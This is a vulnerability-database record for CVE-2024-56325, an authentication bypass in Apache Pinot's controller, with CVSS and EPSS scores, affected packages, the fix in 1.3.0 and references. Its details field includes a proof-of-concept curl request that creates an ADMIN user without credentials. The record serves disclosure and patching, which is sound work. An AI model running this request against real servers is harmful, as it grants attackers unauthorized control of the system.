{"id":"CVE-2024-56325","aliases":["GHSA-6jwp-4wvj-6597"],"url":"https://o3.security/vulnerability/CVE-2024-56325","summary":"Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required","details":"Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.","published":"2025-04-01T09:07:14.185Z","modified":"2026-08-12T03:51:47.626044904Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.80212,"percentile":0.99597,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"org.apache.pinot:pinot-broker","fixedVersion":"1.3.0"},{"ecosystem":"Maven","name":"org.apache.pinot:pinot-common","fixedVersion":"1.3.0"},{"ecosystem":"Maven","name":"org.apache.pinot:pinot-controller","fixedVersion":"1.3.0"}],"fix":{"url":"https://github.com/apache/pinot/pull/14383","label":"apache/pinot#14383"},"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/03/27/8"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56325.json"},{"type":"ADVISORY","url":"https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56325"},{"type":"WEB","url":"https://github.com/apache/pinot/pull/14383"},{"type":"WEB","url":"https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f"},{"type":"WEB","url":"https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121"},{"type":"PACKAGE","url":"https://github.com/apache/pinot"},{"type":"WEB","url":"https://github.com/apache/pinot/releases/tag/release-1.3.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.626044904Z"}}